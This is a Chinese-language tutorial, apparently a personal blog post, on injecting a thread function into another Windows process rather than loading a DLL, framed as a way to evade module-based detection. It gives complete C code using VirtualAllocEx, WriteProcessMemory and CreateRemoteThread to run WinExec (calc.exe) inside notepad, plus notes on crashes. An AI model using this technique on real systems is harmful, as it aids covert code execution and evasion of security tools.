控制目标进程加载自己的dll文件很容易被模块检测的手段察觉,因此我们可以向目标进程注入一段代码而非一个模块来规避检测手段
1 注入代码编写原则
(1)不能有全局变量
(2)不能使用常量字符串
(3)不能使用系统调用
(4)不能嵌套调用其他函数
当你使用以上方法编写函数,进入反汇编后,可以看到其访问地址是固定的,我们无法将这种固定地址的机器码的注入到其他进程中
2 传递参数和函数
只要遵守了上面4条编写原则,我们可以将参数和函数分别利用Windows提供的API写入到目标进程中,然后执行,这种方法不会增加模块
3 实验
首先编写注入代码:
#include <Windows.h>
typedef struct ParameterBlock
{
DWORD LoadExeFunAddr;
LPCSTR lpCmdLine;
UINT uCmdShow;
}ParameterBlock, *PParameterBlock;
typedef HANDLE(WINAPI* LoadExe)(
LPCSTR lpCmdLine,
UINT uCmdShow
);
DWORD WINAPI ThreadProc(LPVOID lParam) {
PParameterBlock pb = (PParameterBlock)lParam;
LoadExe le = (LoadExe)pb->LoadExeFunAddr;
le(pb->lpCmdLine, pb->uCmdShow);
return 0;
}
BOOL LoadParamAndFun(DWORD PID, char* ExeName) {
ParameterBlock pb;
DWORD FunSize = 0x400;
//1.获得进程句柄
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
//2.分配参数、函数、exe名
LPVOID ParamBlockAddr = VirtualAllocEx(hProc, NULL, sizeof(pb), MEM_COMMIT, PAGE_READWRITE);
LPVOID NewThreadAddr = VirtualAllocEx(hProc, NULL, FunSize, MEM_COMMIT, PAGE_READWRITE);
LPVOID ExeNameAddr = VirtualAllocEx(hProc, NULL, strlen(ExeName) + 1, MEM_COMMIT, PAGE_READWRITE);
//3.对结构体赋值
pb.uCmdShow = SW_SHOWNORMAL;
//4.获得WinExec的地址
HMODULE hMoudle = LoadLibrary("kernel32.dll");
pb.LoadExeFunAddr = (DWORD)GetProcAddress(hMoudle, "WinExec");
FreeLibrary(hMoudle);
//5.初始化exe名
pb.lpCmdLine = (LPCSTR)ExeNameAddr;
//6.修改线程函数的起始位置
DWORD FunAddr = (DWORD)ThreadProc;
if (*(BYTE*)FunAddr == 0xE9) {
FunAddr = FunAddr + 5 + *(DWORD*)(FunAddr + 1);
}
//7.传输结构体、参数和函数
WriteProcessMemory(hProc, ParamBlockAddr, &pb, sizeof(pb), 0);
WriteProcessMemory(hProc, NewThreadAddr, (LPVOID)FunAddr, FunSize, 0);
WriteProcessMemory(hProc, ExeNameAddr, ExeName, strlen(ExeName) + 1, 0);
//8.创建远程线程
HANDLE pThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)NewThreadAddr, ParamBlockAddr, 0, NULL);
CloseHandle(hProc);
return TRUE;
}
int main() {
LoadParamAndFun(3752, "E:\\Windows\\system32\\calc.exe");
return 0;
}
这里使用了Windows提供的API,即WinExec函数,该函数可以运行一个exe程序,相关参数含义可查看微软文档
UINT WinExec(
[in] LPCSTR lpCmdLine,
[in] UINT uCmdShow
);
之后启动一个notepad程序,并查看其PID
将PID和计算器的地址填入程序
编译运行,计算器运行,实验成功
4 代码解释
这一部分主要解释一下注释6,即为什么要修改传入函数的地址,我们打开反汇编就可以很容易看出
我们发现函数开始地址并不是函数真正的地址,而是经过了一次跳转,上图中0B81840才是函数真正的地址。所以要有一次函数地址转换,才能把函数真正的内容复制到目标进程内存中
5 踩坑和疑问
1、该程序在物理机Win10环境下会直接导致被注入进程崩溃,而在虚拟机xp环境下可以正常运行
2、在开始写代码时我没有删除项目自动生成的 #include <iostream>,然而经过实验发现保留这一行运行会导致被注入的进程崩溃,我并不知道原因
3、看一下以下代码,我并没有把ParameterBlock和LoadExe传送到被注入的进程,那么被注入的进程是如何知道这些结构的呢?